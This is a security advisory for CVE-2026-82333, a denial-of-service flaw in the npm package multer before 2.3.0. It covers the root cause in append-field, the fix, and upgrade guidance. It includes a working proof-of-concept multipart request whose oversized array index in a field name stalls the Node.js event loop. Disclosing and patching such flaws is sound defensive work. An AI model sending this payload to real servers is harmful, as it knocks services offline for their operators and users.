high · 7.5CVE-2026-82333Sep 8, 2026

CVE-2026-82333: multer Denial of Service via Oversized Array Index in Field Names

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Sending a multipart form with a near-max numeric array index in a field name forces multer to allocate and iterate a maximum-length sparse array, blocking Node.js's event loop and making the server…

Packagemulter
Ecosystemnpm
Affected< 2.3.0
Fixed in2.3.0
CVE-2026-82333: multer Denial of Service via Oversized Array Index in Field Names

The problem

multer passes multipart field names to the append-field dependency for bracket-notation parsing. When the first field uses a very large numeric index such as items[4294967294], append-field allocates a JavaScript sparse array of maximum length.

A second field on the same base with a non-numeric key (e.g. items[x]) then forces a full-length array-to-object conversion, iterating every slot synchronously. This saturates the CPU on a single event-loop tick. No authentication is required, and one HTTP request is enough to leave the worker unable to serve any further traffic.

Proof of concept

A working proof-of-concept for CVE-2026-82333 in multer, with the exact payload below.

http
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="items[4294967294]"

a
------Boundary
Content-Disposition: form-data; name="items[x]"

b
------Boundary--

The root cause is CWE-400: Uncontrolled Resource Consumption in append-field. The index 4294967294 is 2^32 - 2, the highest valid JavaScript array index, so new Array(4294967294 + 1) hits the V8 maximum array length. When the second field introduces a non-numeric key on the same items base, append-field iterates the full sparse array to convert it to a plain object, burning CPU proportional to 2^32 slots synchronously on the Node.js event loop.

The patch in multer 2.3.0 (commit 73c1759) adds a limits.fieldArrayIndexLimit check inside make-middleware.js. Any field whose bracket index exceeds the configured limit is rejected immediately with a MulterError, so the expensive allocation and iteration never happen.

The fix

Upgrade to multer 2.3.0. After upgrading, set limits.fieldArrayIndexLimit to the largest array index your application actually uses (e.g. multer({ limits: { fieldArrayIndexLimit: 100 } })). There is no workaround for older versions.

Reported by O4FDev.

References: [1][2][3][4][5][6]

Related research